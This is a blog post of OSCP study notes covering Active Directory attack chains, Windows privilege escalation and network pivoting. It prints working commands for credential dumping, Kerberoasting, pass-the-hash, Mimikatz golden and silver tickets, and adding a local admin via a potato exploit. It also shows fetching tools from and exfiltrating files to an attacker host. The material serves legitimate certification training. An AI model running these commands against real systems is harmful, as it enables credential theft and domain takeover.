Back to Study Guides

OSCP Notes: Active Directory & Pivoting Cheat Sheet

A comprehensive cheat sheet for Active Directory attacks and pivoting techniques

February 20, 2026
15 min read
Active DirectoryPivotingOSCPCheat Sheet
Share:

OSCP Notes, Active Directory, and Pivoting Cheat Sheet

Active Directory. Not only the hardest thing to defend, but it is also the backbone of your business. It was designed for accessibility and interoperability back in the late 90's/early 2000’s. It’s the company’s phone book, data access, and user access. It’s the keys to the kingdom. It’s hard to defend against the inherent “Open by Default” architecture, the massive attack surface, and “Living off the Land” attacks. LDAP maps the network structure; built-in trust assumes everything inside the network is secure; insecure protocols like NTLM and LLMNR are easily abused for credential harvesting; misconfigured users can become “shadow admins”; Kerberoasting; misconfigured GPOs; DCShadow, etc. I could go on for days. However, this can be overwhelming for others starting.

Before the OSCP, I took the PJPT by TCM Security. To get a real feel for AD. That test wasn’t as bad as I thought, but for the OSCP, learning those concepts will help here. However, note that there is no LLMNR Posing. But you can still use responder. As long as you use this:

sudo responder -I tun0 -A -v 

As long as you use -A, all posing features will be turned off. Or you can nano into it. I know you need to know how to use it to pass the PJPT. For this exam, it's an enumeration test so that you can use it, but you may not need it. Have it in your back pocket.

Now, what makes this test so hard is that it brings together multiple skills at once. You aren’t just exploiting one thing—you’re navigating an entire ecosystem: OU abuse, mismanaged users, etc.

Host → User → Group → Domain → Policies → Protocols → Trusts

In OSCP labs, the AD chain is difficult because you must:

Enumerate users
Enumerate permissions
Understand group memberships
Notice subtle privilege assignment
Identify misconfigurations across multiple machines

You have a set to do. You may or may not get a user's credentials. Depending on the situation, follow these rules:

Rule one: 
assume you have anonymous/guest access. Until you after you run nxc
and don't have a user, assume, that is a misconfigure, until otherwise.

Rule two:
if you have a user, test everything, record it in blood hound,
enumerate that user. That is your very strong clue.

Rule three:
the chain follows Microsoft PC's, if you get a user, and get access
review windows privesc. You may need to gain local access first.

Rule four:
LOW PRIV USER
↓
Find unusual privilege or misconfiguration
↓
Abuse that privilege to escalate to a higher-priv account
↓
Gain access to a more sensitive machine or service
↓
Enumerate again (permissions change!)
↓
Find next misconfiguration
↓
Repeat until Domain Admin

Rule five:
Ask, why do you have this? Re-enumerate and review notes on user.
“Who do I control?” “What can that object do that I couldn’t do before?”
“Who does THAT affect?”


Rule six:
Treat this like another HTB or Proving Grounds box. It's not real
world. Think of the different quick methods on enumeration. You may not even
need to use minikatz (I would still use it).

Rule seven:
If a new account gives you:

A new permission
A new SPN
A new group membership
A new GPO
Access to a new machine

Rule eight:
Kerberos Misconfigurations

Misconfigured SPNs
Weak or unexpected delegation
Accounts allowed to impersonate others
Users with SPNs who shouldn’t have them

Rule nine:
OSCP isn’t trying to trick you — they want to see if you can filter
signal from noise.

Which AD objects matter
Which permissions actually mean escalation
What can be ignored


Rule ten:
the exam is testing your ability to chain multiple small wins, not find one
big vulnerability.

Rule elven:
Active Directory privesc:

“This user can reset that user’s password”
“This group has GenericWrite on that object”
“This machine account can add a new SPN”
“This GPO applies somewhere unexpected”

Rule twelve:
It's ok to get hashes, pass the hash is quicker, just test it first.

Use the attack patterns to your advantage:


Low-Priv User
↓
Find: User has GenericWrite on another user
↓
That user has SPN / special rights
↓
That account can manage a service or machine
↓
Machine permission leads to DC access
↓
Domain Admin


GPO risk:
Low-Priv User
↓
User can modify a GPO
↓
GPO applies to a server or privileged user
↓
Privileges escalate when that user logs in
↓
Server access eventually leads to DC
↓
Domain Admin

Machine account:
Low-Priv User
↓
Compromise a machine account
↓
Machine has unexpected rights on DC object
↓
Privilege escalates through ACL chain
↓
Domain Admin

Enumeration checklist:

☐ Scan all TCP ports
☐ Scan UDP ports (Kerberos = UDP/88, DNS = UDP/53, etc.)
☐ Identify domain via SMB, LDAP banners, or RPC metadata
☐ Check for anonymous access on:

SMB
LDAP
RPC
WinRM error messages
MSSQL null connect

☐ Enumerate public SMB shares

☐ Gather usernames via:

RID brute forcing
rpcclient enumdomusers
SMB NULL sessions
Enumerating AD objects via LDAP anonymous (if allowed)

☐ Validate usernames (safe):

kerbrute userenum (conceptual understanding only)

☐ Check for users with descriptive attributes (descriptions, initials, notes)

☐ Try AS-REP vulnerability (ASREProasting) using collected usernames
☐ Try Kerberos service ticket analysis (Kerberoasting conceptually) once you have valid creds
☐ Test creds across protocols:

SMB
LDAP
RDP
WinRM
MSSQL
RPC

☐ Note protocols that return “access denied” vs “invalid credentials”
(very important signal)

☐ For EVERY new credential, re‑enumerate:

SMB shares
Symlinks
GPO scripts
Config files
Password files
Installation leftovers
Backups
LAPS data exposure

☐ Look for:

Credentials in files
Interesting scripts
Scheduled tasks
Accessible SYSVOL scripts and GPO files

☐ Check for misconfigurations using AD enumeration tools (conceptual focus):

GenericWrite / GenericAll
WriteOwner
WriteDACL
ResetPassword rights
LAPS permission exposure
GPO modification rights

☐ Check delegation (concept):

Unconstrained
Constrained
Resource-based constrained delegation

☐ Check if any users have:

SPNs they shouldn’t
Machine account privileges
Password reset rights over higher‑priv users

☐ Upload data (safe conceptual step)
☐ Look for:

DCsync rights
GPO misconfigurations
ACL privilege paths
WriteDACL / GenericWrite relationships
Long chain attack paths (multi-step escalation)
☐ Validate that your current user belongs in BloodHound’s graph properly

Lateral Movement Logic
☐ Try each set of creds on all machines and all protocols
☐ Re-run enumeration once inside a machine:

Local admins
Cached creds
Token privileges
Logon sessions

☐ Look for multi-network setups:

Additional NICs
VLANs
Pivoting paths

☐ If pivoting required:

Treat new network as brand new recon target
Re-scan, re-enumerate, re-check AD access

☐ Collect ALL discovered credentials
☐ Test creds on:

MSSQL
WinRM
RDP
SMB
RPC
☐ Test NTLM authentication
☐ Track which creds work where

☐ Organize ALL creds in a file for cross-checking
☐ Rescan ports
☐ Re-check usernames
☐ Re-check BloodHound graph
☐ Re-enumerate SMB shares
☐ Re-validate discovered credentials
☐ Perform slow, careful LDAP object reviews
☐ Test every protocol again with known creds
☐ Check for forgotten GPOs or hidden OUs

Windows PrivEsc check as well:
☐ Run PowerUp conceptually
☐ Run WinPEAS conceptually
☐ Save all output
☐ Slowly review each category:

Services
Registry
Scheduled Tasks
Installed software
DLL search paths
File system permissions
Token privileges
Environment variables

☐ Who am I?
☐ What groups am I in?
☐ Do I have token privileges?

SeImpersonate
SeBackup
SeRestore
SeDebug
SeLoadDriver
☐ Writable service binaries
☐ Writable service directories
☐ Writable service registry keys
☐ Missing service binaries
☐ Unquoted service paths
☐ Tasks owned by SYSTEM
☐ Writable paths
☐ Broken/missing executables
☐ Tasks running scripts from user-writable locations
☐ Weak permissions on:

Services
Run keys
Startup keys
AlwaysInstallElevated (concept only)
☐ Writable directories in PATH
☐ Writable files owned by privileged users
☐ Program Files subdirectories with incorrect ACLs
☐ Outdated software
☐ Backup installers lying around
☐ Applications running with elevated privileges
☐ PATH injection
☐ Writable temp paths
☐ Writable referenced directories
☐ Credentials in:

Config files
Web.config
.ini files
Scripts
Backups
IIS configs

☐ Search recent files, logs
☐ Open ports internally
☐ Services running as SYSTEM
☐ Misconfigured internal web apps
☐ Re-enumerate EVERYTHING
☐ New permissions mean new attack surface
☐ Re-scan internal ports
☐ Re-check local groups
☐ Re-check registry permissions
☐ Re-check services

Combined AD + Windows PrivEsc Logic (OSCP Winning Formula):

Gain initial foothold (web, SMB, RDP, WinRM).
Enumerate creds + AD data.
Try creds across protocols + machines.
Gain new user or machine account.
Repeat enumeration.
BloodHound analysis
Identify misconfig path.
Move laterally.
Enumerate local Windows for PrivEsc.
Escalate to admin.
Dump new creds.
Repeat across domain.
Eventually escalate to Domain Admin (conceptual).

This process may not work for others, but stick to a process to help you be accountable. Make the checklist and take your time.


Netexec and crackmapexec are your best tools for enumerating and validating accounts with services like LDAP, RDP, smb, WinRM, etc. I refer to this wiki page a lot. and the commands:

netexec smb $target -u  ‘’ -p ‘’ --shares
netexec smb $target -u ‘’ -p ‘’ --rid-brute
netexec smb $target -u ‘’ -p ‘’ --pass-pol
nxc smb <target> -u <user> -p <pass> --local-auth
nxc smb <target> -u <user> -p <pass> --groups
nxc smb <target> -u <user> -H <hash>
nxc smb <target> -u <user> -p <pass> --sam
nxc smb <target> -u <user> -p <pass> --lsa
nxc smb <target> -u <user> -p <pass> --ntds
crackmapexec smb <target> -u 'guest' -p '' --shares -> same as nxc

nxc ldap $ip -u $user -p $password --users
nxc ldap $ip -u $user -p $password --groups
nxc ldap $ip -u $user -p $password --query "(sAMAccountName=Administrator)" "sAMAccountName objectClass"
nxc ldap domain -u username -p password --gmsa
The LDAP protocol can be used in combination with options like --kerberoasting and --no-preauth-targets

nxc rdp $target -u user -p password
--no-bruteforce

nxc winrm <target> -u <user> -p <password> -x "whoami"
nxc winrm <target> -u <user> -H <ntlm_hash>

nxc winrm <target> -u <user> -p <password> -X 'powershell -c "Get-Process"'

You want to enumerate as best you can before attacks, because a user may not have rights like smb but still have RDP access (a dumb example).


Bloodhound should also be on the list because you need to know which users have access and how to move laterally.

▶ Watch on YouTube
▶ Watch on YouTube

These ways are great for installing it. Follow the steps to the tee. You can also use the Docker version:

Blood hound:

bloodhound-python -u "user" -p 'pass' -d domain -c all --zip -ns $target

Docker
curl -L https://ghst.ly/getbhce -o docker-compose.yml
sudo docker-compose pull && sudo docker-compose up -d
sudo docker-compose logs bloodhound | grep -i passw

Then go to with the password:
http://127.0.0.1:8080 admin : password

It may ask to change

You really need this tool to pass. Run bloodhound-python first:

bloodhound-python -u "user" -p 'pass' -d domain -c all --zip -ns $target

or you my need to be on a windows pc, run in windows powershell:
Invoke-BloodHound -CollectionMethod All -ZipFileName file.zip.

Then extract
curl -T C:\path\to\file.txt http://linux-ip:<port>/
Invoke-WebRequest -Uri http:/
/linux-ip/upload -Method Put -InFile C:\path\to\file.txt
either way works


Then upload that data and let it ride. Once done, you can check for the OU’s, User, etc.

Example:

It’s evolved a bit, but the same practice goes on. You have a user in the AD group you want to get after. This will help with that.


Impacket:

After you compromise a user, the next step is impacket/netexec. So let’s say you find a user in an interesting group; now you can do more kerberoasting, ASREP roasting, dumping creds, etc.

impacket-GetADUsers -all <domain>/<username>:<password>
impacket-GetADComputers -dc-ip <DC_IP> <domain>/<username>:<password>
impacket-secretsdump -just-dc <domain>/<admin_user>:<password>@<DC_IP>
impacket-GetUserSPNs -request -dc-ip <DC_IP> <domain>/<user>
impacket-GetUsersSPNs domain.local/user:password

impacket-GetNPUsers domain.local -userfile users.txt -format hashcat -outputfile asrep_hash.txt
then crack with hashcat or john
john --formate=krb5asrep hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt --force

Pass-the-Hash:
impacket-psexec -hashes <LM>:<NT> <domain>/<user>@<target_IP>
evil-winrm -i $target -u Adminstrator -H hash


One big tip! With winrm, you can download older SAM and SYSTEM files.
download C:/*/Windows/system32/SAM
download C:/*/Windows/system32/SYSTEM
Then run
impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Also with winrm, you can run curl:
curl http://<ip>/file.exe -o file.exe --> eaiser file transfer
evil-winrm -i <TARGET_IP> -u <USERNAME> -H <NTLM_HASH>

These will get you by for what you need to use for AD. However, Mimikatz is also a great tool for these attacks, as well as its own attacks.

share it:
python3 -m http.server 80
certutil.exe -urlcache -f http://<your_ip>/mimikatz.exe mimikatz.exe
.\mimikatz.exe
privilege::debug
lsadump::sam
Gets hashes

sekurlsa::logonpasswords


pass the ticket:
sekurlsa::tickets
kerberos::list /export
kerberos::ptt <ticket.kribi>
to check tickets:
kerberos::list

golden ticket attack:
lsadump::lsa /inject /name:krbtgt
lsadump::dcsync /user:DOMAIN\krbtgt
kerberos::golden /user:FakeAdmin /domain:target.local /sid:S-1-5-21-xxxx /krbtgt:hash_here /id:500 /groups:512 /ptt
kerberos::list
misc::cmd or
dir \\dc01.target.local\c$

Sliver ticket attack:
kerberos::golden /domain:domain.com /sid:S-1-5-21-... /target:TargetServer.domain.com /service:cifs /rc4:NTLMHash /user:Administrator /ptt
kerberos::golden /domain:domain.com /sid:S-1-5-21-... /target:TargetServer.domain.com /service:host /rc4:NTLMHash /user:Administrator /ptt
kerberos::golden /domain:domain.com /sid:S-1-5-21-... /target:SQLServer.domain.com /service:mssql /rc4:ServiceAccountHash /user:Administrator /ptt

Rubues is another great tool for this as well:

https://www.hackingarticles.in/a-detailed-guide-on-rubeus/

./Rubeus.exe kerberoast /nowrap

Pass the ticket:

You can also run this with Wine on, like. Like kurbrute. Speaking of:

Follow this guide as well. One big tip I also have:

Sigma potato!! Like god potato, you can use this to make a local user a local admin with impersonation enabled.

.\sp.exe "net localgroup administrators user /add" 

Pivoting on the oscp can be difficult, but two tools that I love to use are simple: Ligolo and Chisel. This part is up to you; it's subjective, but you need to pivot to pass.

▶ Watch on YouTube
▶ Watch on YouTube

These are great for understanding the method and the detailed instructions for doing it. They would explain it better than I would, but this is an open-note test.

So huge tip: use what you like, know what will work on the OSCP exam, and do the labs to get a feel for pivoting. The concept, though, is the same:

You compromise a Windows or Linux machine
You run ipconfig or ifconfig and see multiple NICs or subnets
Example:
10.10.10.50/24 ← the subnet you already know about
172.16.5.20/24 ← NEW hidden internal subnet

You can't reach 172.16.5.0/24 directly from Kali…
…but the compromised machine can.

Identify that 10.1.50.0/24 is hidden
Set up a SOCKS proxy through the compromised host
Use proxychains to run(for chisel):

nmap
rpcclient
smbclient
ldapwhoami
bloodhound-python



That’s OSCP pivoting in a nutshell.

I perfer ligolo, though, its super simple:
sudo ./proxy -selfcert --> if it asked to install, install,
rerun after install

On victim:
echo $env:PROCESSOR_ARCHITECTURE --> check the agent you need

Huge difference between AMD and ARM

.\agent1.exe -connect <kali_ip>:11601 -ignore-cert --> windows
Get-Item .\agent.exe | select Length --> incase you need to trouble shoot


Then on your pc:
session
1
ifconfig
autoroute
select all
yes

It’s that easy. I really have to thank the creator for this tool. But also my go to.


That pretty much wraps up all the notes for the OSCP. Take what you learned here, run it in your own lab, break things, fix them, and break them again — that’s how real growth happens. And when you hit those inevitable walls? Perfect. That means you’re exactly where you’re supposed to be. That’s where we’ll call it before your brain starts blue‑screening like an overworked domain controller. Remember: the OSCP grind isn’t glamorous. It’s 3 a.m. terminal staring, copy‑pasting hashes with trembling hands, drinking coffee you swear you poured five minutes ago but is somehow ice cold, and watching BloodHound draw a path so long you start questioning all your life choices. However, you got this. I hope this series is helpful. Thank you for reading.

Share:

Comments

No comments yet. Be the first!

Leave a Comment

Comments are reviewed before publishing.

The Husky Hacker

Cybersecurity blog covering OSCP prep, CTF write-ups, study guides, and custom tools. From boot to root.

Connect

© 2026 The Husky Hacker Newsletter. All rights reserved.